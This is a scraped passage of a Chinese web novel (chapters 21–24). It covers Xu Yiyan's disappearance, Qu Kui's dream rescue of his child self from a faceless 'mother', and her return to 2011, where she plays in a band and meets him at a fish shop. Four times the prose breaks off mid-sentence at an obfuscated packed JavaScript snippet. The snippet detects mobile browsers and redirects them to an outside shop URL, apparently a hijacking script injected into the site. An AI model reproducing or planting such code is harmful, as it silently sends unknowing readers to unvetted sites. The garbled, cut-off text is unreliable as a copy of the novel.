如果能轻易忘记一个人就好了,这世界不知会少多少意难平。曲葵知道,说出那句话的朱覃同样被困在过去,不然为什么去当警察。 飞回潼林的晚上十点,曲葵坐在床上,取出钱夹中的被裁剪过的旧照片。 那时,干净清澈的少年就站在青苔枯死后微微泛黑的白墙之下,一截半枯树枝从墙内伸出,橘红色夕阳照在他的身上。 曲葵记得,当时许一宴回头望过来,分明看见她偷拍。只是她在许一宴反应过来惊讶前就按下了快门,所以少年神情仍然保持恬静,足够媲美清晨撕破黑夜的第一束阳光。 曲葵闭眼亲吻照片,心中默念许一宴的名字,翻开家庭相册,将它装进相册的最后一页。 一张照片,一串号码,一条项链。还有两人短暂相处过的时光,就是她在许一宴那里得到的全部了。 所以,才会心有不甘。 佛说:爱别离,怨憎会,求不得贪嗔痴,失荣乐。 徒留伤感,绵绵无绝期。 21.自白 “你是不是喜欢许一宴。” “是,我喜欢他,现在也很喜欢他。” “……只是,我好像说太晚了。” “晚了整整九年。” “也没有说出口。” ** 九年前。 曲葵生病请假休学的那两个月,许一宴没去CMO。 扬明不是什么大城市,师资教育远比不上一线二线。小城市里难得出了个天才,校领导都指望他给学校拉一波知名度。 CMO开幕式那天早上,王范没课,来的比平时晚几分钟。提着两个肉馅破酥包一杯现磨豆浆走进办公室,刚把吸管插十字孔里,小灵通响了,陌生号码。 王范接通,电话夹在耳边,咬着吸管啜了口豆浆。 “你们学校的许一宴,怎么没有来?” “噗!”豆浆太烫,舌头转瞬就麻,原本咽不下去也吐不出来,这句话无疑平地起惊雷。王范忍不住,豆浆全溅在办公桌的电脑上,惊呆对面和侧面的女教师。 王范顾不上形象,极度震惊中破了音:“你说什么——” 坏消息的扩散速度比瘟疫还快,才过上午就传遍扬明高中以及周边中学,短暂战胜国外爆火的男团,成为老师和学生之间猜测讨论的问题。 朱覃知道的时候已经下午,课间冲去五楼许一宴的班级门口,许一宴没在教室。他拉住一个上厕所回来的女同学询问,得知许一宴这两天请假。 上课铃响了,朱覃没回教室,跑进厕所给许一宴打电话。 “您拨打的号码正在通话中,请稍后再拨。” 重播。 “您拨打的号码正在通话中,请稍后再拨。” 重播。 依旧是相同提示音。 根据朱覃以往和女朋友打电话的经验,这种响了几声才转成通话中的提示音,一般都是对方拒接。 朱覃的第一反应是:许一宴病了在睡着? 很快他便否认:按照许一宴的性格,恐怕病危都要用那点力气爬去参加考试。 放学,朱覃去许一宴家楼下,那个臭女人在二楼骂骂咧咧让他走。朱覃充耳不闻,把门敲出过年放炮仗的架势。 朱覃扯着嗓子喊:“许一宴我知道你在家,不开门我今天就赖这了!” 臭女人说:“有病吧你,不知道这是扰民吗?!” 朱覃:“你有本事就去报警!” 若干分钟后,门开了一条缝,许一宴穿着宽大的米色毛衣,露出半张病态苍白的脸。 “他们都说你没去考试——” 许一宴冷漠打断他:“不去了。” “你怎么了,是不是不舒服?”朱覃追问:“为什么啊,这种事情能说不去就不去吗?你都努力这么久——” 打断他的是许一宴沙哑的低吼:“聋了吗!我说,不去了!” 朱覃因为许一宴没去参加竞赛又瞒着他的事情心里压着怨气,被吼后火气也噌地上来:“你神经病吗吼什么吼,我大老远刚放学就跑过来找你就是听你骂我的吗!!” “是啊,我就是有病。” 说完之后,许一宴重重关上门。而那个女人,站在二楼阳台围观这场闹剧,笑得前仰后俯。 朱覃恨恨地朝她竖起中指,在心里单方面和许一宴绝交。 平心而论,两人算穿一条开裆裤长大,妈妈是高中就认识的好闺蜜,大学毕业后也住得很近。在朱覃模糊的记忆里,许一宴妈妈特别漂亮。 虽然叫张晴之,但一点也不爱笑。每次见她,身上有种忧郁、我见犹怜的气质。她好像有精神方面的问题,有时候愤怒躁狂有时候崩溃大哭,生下许一宴后病情更严重了,听说是产后抑郁症,未婚先孕,身边没有什么家人照顾,至少朱覃没见过许一宴其他亲戚登门拜访过。 小时候朱覃觉得许一宴可怜,便问他妈:“许一宴是不是没爸爸啊?” 被狠狠拍了一巴掌脑瓜子,让他别乱说。 七岁,朱覃得知张晴之去世消息。仅一个月,许一宴就被不知道哪冒出来的便宜爸爸领走,朱覃对许一宴的了解越来越陌生。 只知道许一宴很忌讳和别人谈心,什么都往心里憋,看上去对什么都没太大兴趣。每次他和许一宴吐槽家事,话题总会被巧妙转移。 朱覃看到许一宴转变,是曲葵的出现。毕竟是一起长大,朱覃了解许一宴脸上的微表情,从他对曲葵小心翼翼的动作,总是落在她身上的目光,朱覃就知道这小子铁树开花了。 他是很高兴的,他观察发现,曲葵明显对许一宴有意思,两人的关系只隔一张薄薄的纸,一戳就破。 学校重点培养的对象没去考试,在校方看来好像挺严重,许一宴被他们班主任叫去办公室问原因,但许一宴不愿意说。他没考试,好像被他爹教训了——许一宴两个多星期没来上学。具体情况,朱覃也不知道,因为许一宴从来不和他说。 直至今日,朱覃也不知道那段时间许一宴身上发生了什么。原本想偷偷告诉曲葵,让唯一一个有机会撬开许一宴嘴的人去问问,可曲葵请假了。 后来听说她搬家转学,这事也就不了了之。也是从那天后,朱覃就隐约感到许一宴身上的转变——常常走神,话变得更少。 可惜朱覃是个神经大条的人,反射弧天生比钓鱼线还长。以为许一宴是失恋,谁学生时代没经历过嘛,慢慢不就看开了。 一二年三月,曲葵转学后两个月,春分前后几天。 早上两节是语文课,早读结束许一宴还没到,语文老师问原因,班长回答:“可能是请假。” 许一宴经常请假,短则一天,长则一周,各科目老师习以为常,没再多问,继续上课。 第三节是王范的课,王范看许一宴没在,便问学生:“许一宴干嘛去了,怎么都上课十分钟了还没有来。” 班长和同桌不解地对视两眼,迟疑站起来,说:“老师,他今天不是请假了吗?” 王范心跳突然漏了一拍,怀疑自己失忆了。掏出手机翻了翻早上的通话记录,确实没接到过许一宴的请假电话,他一直以为这个宝贝学生是正常来上课。 “谁跟你说他请假了,为什么不来告诉我?” 学生面面相觑。 王范心惊胆战,冷汗刷一下就打湿后背。他撂下一句先上自习课,自己走到楼梯间给许一宴家长打电话:“许一宴妈妈,孩子今天也不舒服吗?” 这次接电话的是个男人,好像很忙,说话简短,语调很冷:“没有。” “孩子今天没来上课啊,现在人也没在教室里。” 对方刻薄地问:“他逃学了吗?” 王范听得心里不悦,许一宴这种三好学生,正常父母应该不会第一时间想到的是逃学,不过许一宴家长确实挺奇怪,高中三年一次都没有来开过家长会。 他忙圆场:“我不是这个意思,许一宴昨晚回家了吗?” “不清楚,我问问他妈。”说完就挂断电话。 几分钟后,王范接到许一宴家长电话,女人事不关己地说:“他昨晚没回家呀,他不是去朋友家过夜了吗。” 王范耳边轰地一声,差点摔了手机瘫在地上,他捂着胸口靠墙静静站了一会儿,耳鸣声才消失。 几个小时后,警方接到一起失踪报案。 最开始猜测逃学离家出走的可能性。 王范否认——即将高考的黄金时期,成绩优秀并性格稳定的学生,不会这样葬送自己的未来。 那他为什么不见了? 难道是顶不住压力轻生了? 学生一致认为:虽然许一宴没去奥林比克数学竞赛,但本人情绪在和同学相处中依旧保持正常,没有出现失落或失控的时候。 发小朱覃:他经常请假。并把那天去找许一宴的经过告诉警察,两人吵架之后就没有见过面了。 许一宴父母反映:孩子压力太大,出现了一些精神方面的问题,看心理医生后开了药,情绪不稳定的时候,会给他请假。那天他朋友刚好赶上他病情发作,所以两人吵架了。 经调查,许一宴房间抽屉里确实有很多没吃完的药盒。 许一宴失踪了。 没有人知道他确切失踪的时间,没有目击证人,没有监控拍到,网络上查不到购票记录,不知道有没有坐车离开扬明。警察一头雾水,无从下手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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朱覃怔住了,难以置信地看向他妈妈,恍惚想起来自己确实在过去某天里说过和许一宴绝交的话。 犹如五雷轰顶。 在那瞬间,他可悲地发现没有什么东西能在人的记忆中,在时间中永远存在。 除了这世间一个两个被困在过去,不愿意向前看的灵魂之外。 再也没有人记得扬明市曾经还有一个叫许一宴的人。就算同学聚会提及时,也只会说:我们那届的年级第一,叫什么来着? ——许什么? …… 听朱覃说完,曲葵向朱覃要了一支烟。 默默地,一口又一口抽完。冷空气吸进肺部,胸口隐隐作痛,酸水在胃里上涌下坠,喉咙痉挛。 曲葵很想咳嗽,但身体麻木了,反而做不出什么动作。 许一宴要多喜欢她,要有多温柔,才会在她哭泣的时候,强忍她给他带去的那些负面情绪,义无反顾拥她入怀。 她知道得太晚,同时心怀侥幸,希望她那重返十七岁的“超能力”再生效一次,让她重新回到遇见许一宴的那一天。 ** 还有两天就开学,曲葵把拿出来的衣服重新叠好塞进行李箱,放在门背后。 洗完澡,看见曲林躺在沙发上睡着了,电视机开着,正在放晚间新闻。曲葵无奈把空调温度调高,去卧室抱来毛毯给曲林盖上,并抽走他捏在手里压在胸口上的报纸。 信息时代,纸质书籍不再流行,绝大部分人转为电子阅读,导致报刊亭和书店关闭无数个。而曲林还保持订阅报纸的习惯,老人总是有恋旧情结,那些看完的报纸舍不得丢,用塑料绳扎起来,一年一捆,堆放在卧室的书架上。 曲葵无事可做,翻开报纸。 头版是一起杀人案件。 标题:疑似二十五年前连环杀人凶手重新作案。 内容:潼林市三环路正在修建的人工湖水坑里发现一具女尸,头部有被重器击打过的痕迹……死者年纪是二十四岁,名字是…… 看到这里,曲葵想起,这个未来她没有辍学,所以没有当过平面模特。曲葵记忆太多太杂,早已不记得曾经和自己共事过的女孩模样,但她名字是一种很美的花,让曲葵印象深刻。 如果没记错的话。 女孩名字和报纸上一致,叫肖蔷薇。 22.岛屿 曲葵第二次从许一宴的梦中醒来,仍然是二十六岁的模样,她应该是在去学校的高铁上睡着了,身上裹得很厚实。 周围不再是一望无际的玻璃海——密不透风、乌漆嘛黑的空间。她平躺着,似乎在床上,能摸到柔软但冰冷的被褥。 她坐起来。 床很小很窄,动作间右手触碰到厚重的布,把严丝合缝的窗帘上方弄出一条拇指宽的小缝,一束阳光从那条缝里照进来。 ——像一把剑,直直从天花板刺到地面,劈开沉重的黑,烟雾般的彩色粒子在剑身上氤氲着,形成各种奇妙的波纹。 “谁?”耳边倏然传来微弱呼声。 曲葵转头,身后什么都没有。 她并不惧怕,把窗帘全部拉开,玻璃上贴着琉璃窗纸,彩色的阳光填满整个房间,也落在曲葵眼中,波光粼粼。 房间很小,摆放的家具很少,只有床、桌子和小凳子,桌上立着几本童话书。此刻,曲葵看见窝在床上的角落中,用被子把自己团团裹住,露出一双眼睛的人类幼崽。 只消一眼,曲葵就确定眼前的小孩是许一宴,因为他们都有一双漂亮干净的,鹿般纯净的眼。 幼年许一宴睁大看上去微微泛红的双眼,用充满稚气的声音问她:“你不是我妈妈,你是谁,为什么在我房间。” 好可爱。 就算他努力用严肃口吻对曲葵说话,声音也是软软糯糯的,有种让人想要捏他脸的想法。 曲葵心快化了,忍不住微笑,伸手想摸摸许一宴的头,许一宴朝后缩,曲葵的手落空,只好指着自己,“我叫曲葵呀,歌曲的曲,向日葵的葵。” “好吧,曲葵。”许一宴没有感到惊讶,叹了口气道,“你也被困在这里了吗?” 曲葵点头。 许一宴原本还想和她说话,关严的房门外忽然传来砸碎玻璃声,许一宴受惊地“啊”了声,用被子把仅露出来的那双眼睛也遮住,像个粽子。 曲葵看着他:“你为什么要把自己裹起来?” “我在憋气,不让她找到我。” “她是谁?” “妈妈。” 曲葵没有问他被找到会怎么样,戳了戳藏在被子里的许一宴,“不要这样。你会把自己憋坏的。” 许一宴瓮声瓮气地说:“但是我怕。” 曲葵:“怕什么?” “妈妈,她笑着的时候总会不小心摔碎东西,还说爸爸也在家里。” 这应该是双相中躁狂发作的症状——情绪高涨、精力充沛、言语增多且语速加快、思维跳跃、注意力易分散甚至产生夸大妄想。 曲葵跪在床上,将许一宴连同被子一起抱在怀里,轻轻拍了拍他的背,安抚道:“别害怕,我在这里,我会保护你。” 许一宴说:“我喘不上气。” 曲葵:“这里只有我,你从被子里出来,好不好。” 许一宴:“你会伤害我吗?” “不会,因为我喜欢你。” 许一宴抿唇,大概是在思考曲葵的话有几分可信度,几秒钟过去,曲葵把被子拿走,许一宴攥被子的手松开,没有反抗。 还没长大的许一宴蜷缩在床上,穿着熊猫睡衣,有些婴儿肥的脸因憋气而泛红,像白玉石滴进一点很快晕开的红墨水。 许一宴小时候像个团子,没想到长大后不仅变瘦还变非常高冷。 许一宴仰头,用带着水汽般湿漉漉的眼睛望向曲葵:“你能带我出去吗?” 他央求:“我一直、一直、一直被困在这里,外面那个不是我妈妈。” “妈妈呢?” “她死了。” 曲葵沉默了一会儿。 在孩童的认知里,亲人的死亡也许是睡着了,或是去了再也回不来的遥远地方,而许一宴毫不加以修饰地说出这个连成年人都忌讳的词。 曲葵心脏忽如被尖刺戳了一下,疼得她无法站直。 “你怎么了?”许一宴问。 曲葵半蹲下来与他平视:“我带你出去。” 曲葵扭动门把,将门轻轻推开了一条缝。 客厅的窗帘应该是拉上的,很暗,许一宴房间的光透出去,照亮一隅狼藉空间。更远更暗的地方,有一团窝着的黑影,那是许一宴口中的妈妈。 察觉到房间异样,黑影耸动了一下,似乎站起来了,被拉得又细又长,一直撑到天花板。 曲葵在心里连喊了三声卧槽,迅速关门上锁。 她指了指门,没出声,用口型问许一宴:“这是个什么玩意?” 许一宴在她手心里写了两个字。 妈妈。 许一宴小时候个子不高,即便站直头顶也只到曲葵腰处。结合朱覃的话,许一宴这样子应该是六岁或许七岁。他摇晃曲葵手臂,让她看天花板上凭空出现,指着十一点正的时钟说:““妈妈”要来了。” 门外的脚步声越来越重,最后停了下来。 咚咚咚,门被敲响,下一刻响起女人虚无缥缈的声音:“许一宴,你饿了没有?” “我不饿。”许一宴说。 “好吧。”脚步声走远。 许一宴松了口气,小声对站在门后的曲葵说:“她第二天还会来。” 窗户被封死了,玻璃严丝合缝地焊在上面,无法从这里出去。曲葵把脸贴在窗上,外面莺飞草长,绿意盎然,很像《哈尔的移动城堡》中的花海,开满白色的满天星,油画质地,一直延伸到目光尽头。 曲葵让许一宴捂着耳朵站她身后,举起凳子,用力砸向窗户。 哐当——凳子在接触玻璃的那一瞬间断裂,变成一段段纸片,掉落在床上。 看来只能从正门出去,曲葵从门缝观察了一会。女人运动轨迹就像电脑逃生游戏中的鬼怪,有一个固定的规律。每次敲门之后她就会径直去厨房,端着一盆不知道是什么的东西坐在沙发上,吃完后,又走过来敲许一宴的门。 曲葵弯腰,和许一宴视线相平:“你相信我吗?” 许一宴郑重点头。 时间是加速的,十一点半时,已经第三天了。女人再次敲响许一宴的门,问的还是相同问题:“许一宴,你饿了没有?” 许一宴说:“我不饿。” 脚步声走远,曲葵把门打开。光芒顺着地面延伸出一米开外,像触碰到边缘无法穿透过去。她拉着许一宴的手走出去,想着许一宴和她说的房屋结构图,寻找大门位置。 许一宴手心立刻出汗了,颤抖着,紧紧握着她的手,像坠落前抓住的唯一那根稻草。 曲葵顾不上脚尖因踢到随意摆放在地上家具的疼痛,摸黑朝前走。很快,她摸到一道门。曲葵长长出了口气,就在手即将摸到门把时,身后传来物品碎裂的声音。 许一宴“妈妈”发现敞开的房间里没有人,手中的盘子掉在地上,发出碎裂声音,她喉咙中发出一声嘶哑的哭喊,转身朝门口的两人扑过来。 曲葵使劲把门一推,拉着许一宴的手跑出去。 女人跟着他们跑出来,照到阳光的皮肤立刻生出火苗。她哀号着退回去,被困在黑暗中披着头发,捂着伤口痛苦尖叫:“不要跟她走,别留下我!” 跑出十多米,曲葵转头望向那栋从外看来棺材一样的房子,同时也看见女人的样子。女人并没有脸,本该生长着五官的地方,平平整整。 门在无面女人的哭泣声中重重地关上,继而消失不见。许一宴垂头拉着曲葵的手,吸了吸鼻子,似乎在哭,曲葵摸了摸他的头发,俯身把他揽在怀里。许一宴抱着她的脖颈,将头埋在她的肩膀上,一遍遍呢喃“妈妈对不起”。 房子外并非是花海。 这是一座漂浮在高空中的岛屿,十分钟就能走到边界,岛下是没有尽头的黑色海洋。岛上寸草不生,到处都是裸露岩石和枯萎的树。房子在关上门后便消失,天黑了,雨点从空中落下,打在曲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她刚开腔,许一宴一把攥住她的手腕。下一秒,旋风从海底升起,瞬间就把两人和纸飞机一同掀到万米高空。 操,还有完没完了!! 能不能让她把话说完!! 曲葵被自己的头发糊了一脸,气流中睁不开眼睛,只感觉到许一宴将她抓得更紧了一些。 直到纸飞机速度慢下来,许一宴才松开曲葵。 曲葵直视许一宴那张重新变得冷淡的脸,“你刚才去哪了?” 许一宴视角里第一次见她,脸上带着少许疑惑,沉吟片刻,答非所问,“我来接你出去。” “回到过去?” 许一宴没有回答曲葵的这个问题,不过曲葵已经在他眼中看到答案了。 纸飞机向上飞,慢慢超过雾一般的云层,海洋和云变得又远又小,乌云之上十分晴朗,灿烂的宇宙悬在他们头顶。 远处,有一条巨大的向上旋转的阶梯,一眼望不到头。 许一宴说:“到了。” 曲葵:“这次你也不能离开吗?” 许一宴点头。 纸飞机停在台阶边缘,曲葵站起来,和许一宴告别,“再见。” “再见。”许一宴说。 当曲葵脚落到台阶上时,她忽然转身重重抱住许一宴的腰,“我会去找你的,等着我。” 许一宴几不可察地睁大眼睛,片刻,沉默地回应她的拥抱。 “我知道。” 阶梯每走一节就消失一节,曲葵没有后退的余地,最后停在一道普通的实木门前面,门自动打开,里面闪烁着无数雪花点。 曲葵回头,从她目前高度,已经看不见许一宴和那架白色纸飞机。可她又有一种预感,许一宴在下方抬头看她。 她转身,义无反顾地走进去。 23.过去 热浪扑面而来,虫鸣和曲葵叫不出名字的歌曲伴奏声回响,眨眼的瞬间,曲葵再次回到十七岁的某个夏天。 程渡的贝斯solo结束,空旷场地回荡声音,他竖起大拇指,“这次弹的节奏一点问题都没有,非常完美。” 曲葵抱着吉他,等各种乐器回荡余韵消失,低头看了眼手机上的年月日,备感头痛。 2011年7月19日。这几天刚好是她背着林语邱跑出来,为了后面一个月演出排练的时间,但她完全想不起来演出时要唱的有哪些歌。而且离高三开学还有整整十天,她要怎么去找许一宴。 好吧,既来之则安之。 几人坐在塑料桶上复盘,讨论演出的歌曲顺序,曲葵说:“我那天有事来不了,时间能不能换一下。” 程渡没问原因,只说:“你什么时候有时间?” 曲葵:“一周后。” “可以。”程渡说,“我们休息半小时再排练一次。” 即使在室内,也如被湿热露水包裹,让曲葵感觉自己是个躺在蒸笼中的包子,她不停用手掌在脸颊边扇风。周围陷在响彻不觉得虫鸣声里。 程渡抓起地上的矿泉水瓶,拧开仰头就喝。 吴椎见了,踢他小腿:“我靠,你怎么喝我水。” “都互相喝过多少次了,干吗大惊小怪。” “滚呐,这是间接接吻。” “我都没嫌弃你。”程渡已经喝完了,把空瓶捏扁,手一挥,眼看就想朝窗户抛出去。 曲葵想起不好事情:“等等别扔!” 程渡:“啥啊?” 垂下的手空空如也,空瓶已经扔出去了。 为了不影响别人,他们专门找了栋靠近郊区的旧仓库。这里最初是棉花厂,前些年因为亏损倒闭,又被一个土豪给买了下来,就是位置太偏僻,暂时没想到要怎么开发,就一直闲置着,也没有人看守。久而久之,就成一些中二病少年的打卡地点,到处都写着——XXX到此拯救世界。 “啊呀——哪个傻逼扔的矿泉水瓶!”窗外响起一声怒吼,听声音应该是小学生。 历史重演,曲葵无奈按住眉心。 “你看你,乱扔垃圾,这下惹到小孩哥了吧。”吴椎从不放过一个可以幸灾乐祸程渡的机会。 程渡白了他一眼,从几个倒放在地上的塑料桶里拿了个最大的,那是宋鱼临时拿来伴奏的简易架子鼓组件之一。 吴椎:“你干嘛拿小鱼乐器。” “现在它只是一个桶。”程渡说,“吵架。” 吵闹的虫鸣和笼罩的热气在催生烦躁情绪。 仓库差不多四米高,窗户设在墙中上位置,是几条竖着的铁栏杆,玻璃掉了一半,剩下的半边也有几条裂缝。程渡站在地面够不到,他把桶放地上,踩着边缘,整张脸刚好对着窗户。 大空地上站着五个小学生,估计刚来,有个手里抱着足球。 那个空瓶子根本没有砸到人,躺在空地外的杂草堆里。 程渡大刺刺吹了声口哨,几个小孩抬头,看见窗户那里多出来一张人脸,有个穿变形金刚T恤的小孩尖叫:“妈妈!有鬼啊!” “鬼你个大头鬼!”程渡说:“是你爷爷扔的,咋滴?不服咬我。” 小学生指着他:“你TM神经病!” 程渡:“诶哟小兔崽子骂人这么难听啊,跟谁学的你爸妈知道吗,你有种进来和我打一架,我今天就让你知道爸爸这两个字该怎么写。” 小学生:“你TM神经病!” 程渡有点绷不住了:“你就会说这一句,你TM复读机是吧。” 小学生:“你TM神经病神经病神经病……”一口气说了半分钟,到后面跟唱歌似的鬼哭狼嚎,把一向很会吵架的程渡都说沉默了。 这边吴椎还在开玩笑:“肺活量这么好,有天赋啊,让程渡抓进来培训。” 曲葵扯了下嘴角,怎么有点感觉自己格格不入。为了适当融入几人,她开始用吉他弹海绵宝宝的片尾曲,欢快曲调夹杂程渡和小孩吵架的声音,十分滑稽。 “哈哈哈。我靠,这太应景了。”吴椎抱着肚子笑得想死。随后拿程渡贝斯学他指法加入曲葵的节奏,直接把片尾曲烘托成了重金属摇滚乐。“诶小鱼你快用手机录下来,回头发给老程,让他看看自己舌战群儒的英姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985527|191670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 曲终,程渡大战五个小学生,没输没赢但累了,他刚准备从桶上跳下来,听到一句:“你们弹的音乐难听死了,笨死啦,连海绵宝宝都不会弹!” 程渡知道和他们讲不通道理,竖起中指:“懒得跟你这种没音乐细胞的小学鸡一般见识。” 结果他这举动惹毛了小学生,其中一个捡起地上的石头,朝他所在的窗户扔过来。程渡骂了声娘,朝一边闪开,石头打在玻璃裂缝上,噼里啪啦碎了一地。 程渡恼了,拎起地上的一根木棍冲出去,几个小学生一边叫着“妈妈救命啊小混混打人啦”一边一溜烟跑得飞快。 程渡一边追一边骂:“站住!说谁小混混——” 程渡没追上,也没回来。吴椎拿起手机准备打电话问他在哪,曲葵把装好的吉他背上,朝他们说:“我回家了。” 宋鱼:“你就走了,不等程渡了?” “他不会回来了。”曲葵抱起地上的滑板,朝外走。 吴椎在后面问:“你咋知道。” 曲葵说:“你们出来看就知道了。” 两人相继跑出来,隔着老远看见程渡被他那个青梅扯着衣领连拖带拽。程渡吃瘪的声音被风吹过来:“姑奶奶,您是狗鼻子吗我跑这么远都能找过来?” “你少嘻嘻哈哈,跟我回家写作业。” “有童养媳真是不一样啊!”吴椎拿着手机咔嚓卡擦拍下来,又拍着大腿嘲笑了一会儿程渡。 临走前,曲葵让宋鱼到家给她发要唱的歌。 棉花厂废弃这几年,裸露在在的红砖缝隙里也长出了草,顽强地朝天空昂首挺胸,太阳暴晒地面,散发出一种难闻的塑料挥发味。曲葵看见程渡丢的水瓶,顺手捡起来。 旁边是天堂湖,一个天然氧吧,九年后会因为城市建设围着湖修一圈步行小道,棉花厂也被建成避暑山庄。现在还是碎石子路和大片大片竹林,天气热,白天没什么人来,倒是晚上偷偷过来的钓鱼佬比较多。 曲葵路过一大片草地,觉得这里个练吉他的好地方。 她将塑料瓶扔垃圾桶里,把草地位置记下来,踩着滑板,在小道上慢慢滑。 24.回音 第二天,程渡在四人小群里吐槽自己被小青梅押回去写作业,结果一晚上才写了一张数学卷子的光辉事迹,曲葵就知道开学前他是出不来了。 吴椎拉着宋鱼天天钻网吧打游戏,他们作业都是开学借同学的抄。 曲葵把宋鱼发给他的歌写在一张纸上,白天戴着鸭舌帽、耳机和吉他去天堂湖练歌。那片绿草地上有一棵梧桐树,枝叶茂盛,曲葵坐在树下扒谱,然后一边练习吉他一边唱。 他们要唱的歌有英文也有中文,还有几首是程渡自己写的歌。 自从接受林语邱离开的事实后,曲葵不会再被过去那些纷至沓来的声音干扰。 练习进入心流状态,曲葵有种多年前的自己站在面前的错觉。 那个和她长得一模一样的女孩坐在旁边的绿草地上,眼中充满对音乐的热爱和被迫放弃音乐的无奈,看着曲葵因为丢失技巧而无法弹奏出心中想要的声音时,她走过来,将手覆在吉他上,告诉曲葵该如何弹奏。 “你放下了吗,你翻过那座山了吗,你决定选择你心目中的那条路了吗。” 曲葵默念答案。 她看见她笑了,过去的曲葵对她说“再见”,那些声音全部都消失,再也没有出现过。 这一刻曲葵听到大脑和心脏告诉她回答,她还是喜欢音乐。 她以前觉得吉他很酷,所以很排斥别的乐器。可吉他,小提琴都能发出悦耳的声音,本质上殊途同归。 曲葵轻哼曲调躺在柔软草地上,嘴中咬着一根狗尾巴草,闭上眼睛,感受内心。 父母总有一天会离开自己,只有为自己而活,才能问心无愧。 不是吗? 太阳西下,曲葵从小卖部出来,撕开雪糕包装纸,狠狠咬下,才感觉干燥的口腔里舒服了些。 阳光从层层树叶间照下来,她有点睁不开眼睛,一晃神,余光里晃晃悠悠飘过一抹亮红色,定睛一看,才发现自己停在一家水产店门口。 水产店在曲葵小时候就开着,店面装修陈旧,斑驳的墙面和褪色的塑料招牌。 扬明离海不远,本地人海鲜吃腻了,只有餐馆会来批发,没想到今天卖起了金鱼。 曲葵弯腰,曲起手指敲敲玻璃缸,看不出品种的金鱼四散而去。 她想要不要买几条带回家养,看见老板在和人说话,金鱼游来游去,底部氧气泵喷出的无数水泡向上翻滚,模糊站在鱼缸后男生的背影。 似乎戴着一顶黑色鸭舌帽。 老板:“鱼你都买了怎么还想退?” “这又不是我买的。” 欸,这声音怎么这么耳熟,曲葵站起来,绕过鱼缸朝里小心翼翼看去。 果然看见许一宴。 许一宴和老板扯了好几分钟,谁都不肯让步。 起因是朱覃在水产店里买了几条金鱼,抱回家之后家中不要让养,于是跑来拿给他。许一宴家中除了人没有其他活物,后妈看见后直说腥气味重,虽然知道那女人是故意的,许一宴没办法,也不好把生命丢掉,又抱着鱼缸还给朱覃。 朱覃急着上补习班,迟到补课老师一个电话打去最后遭殃的还是他。 虽然体育考试的文化分数要求不高,奈何他实在学不进去,朱覃他妈妈已经骂累了,替他报了个补习班,让他自生自灭:“不然放我家小区门前的池塘里?” 于是两人站在所谓的池塘边,发现就是一条小水沟,干得差不多了,水面上浮着的那层不知道是青苔还是泥,还有人往里面丢了些垃圾。 许一宴冷沉着脸,瞥向朱覃,朱覃默默移开脸,避开他剑锋似要杀人一样的目光。 许一宴:“池塘?” “呃,”朱覃囧,“在我童年印象里是池塘来着。”一低头看手表,“我靠!!我要迟到了我真的不能跟你再说了我要走了。” 许一宴:“……哪买的,我去还给老板。” 许一宴确实是去了,他没想到看上去老实巴交的老板会不认账。 四十来岁的大哥挺个大肚皮,脚踩人字拖,手里举着把印着肛肠医院广告的圆扇子,说什么都不退:“那你送朋友嘛。” “朋友买的,朋友家不让养。”许一宴有点烦了,不想站这浪费时间,语气冷淡起来,“又不让你退钱。” 他倒是说了真心话,但别人听着刺耳,老板这下不乐意了,觉得许一宴暗戳戳嘲讽他抠门,态度也开始横:“谁知道你是不是真在我这买的,万一你养生病了还给我,传染我的鱼怎么办。” 许一宴话都还没说,老板接着嫌弃地接了句:“这鱼看着都快死了,你直接扔垃圾桶不就行了。” 许一宴拧起眉心,他没想到这人这么难说话:“那都是生命。” “鱼而已,又不值钱。” “要不把鱼卖给我?”有个轻快悦耳的声音在门口响起。 闻言,许一宴和老板不约而同转头。 只见鱼缸后面冒出半个脑袋,然后是曲葵那张明艳的,泛着笑意的脸,她扎着马尾辫,由于弯腰动作长发垂在耳边。此刻正好有两尾橘红色金鱼游过,悬停在她脸颊边,碰了碰玻璃内壁,仿佛在亲吻她。 这是完美的拍摄素材,老板眼睛刷地睁大了,许一宴默默将一切看在眼里。 老板绕过许一宴,对曲葵说:“小姑娘,你要买金鱼嘛?这些是我去渔场进的货,你可以看看,什么品种都有哦。” 曲葵迟疑走进来,在许一宴旁边停下,语气有点尴尬:“我不是要和你买鱼,我就是跟同学说话。” 老板刚想说话,许一宴侧身挡住他的视线。 “看看我那个大鱼缸里的呗,喏,这草金鱼,很好养活的;兰寿,肥嘟嘟的多可爱,就是价格贵点,不过我可以给你减价。”老板瞪许一宴,头朝一边偏和想曲葵说话,许一宴默不作声挪动脚步再次挡住他,老板有点烦,对许一宴抬抬下巴:“事真多,啧,好嘛好嘛你把鱼倒进去,但是说好了我不退款。” 许一宴冷冷道:“我现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 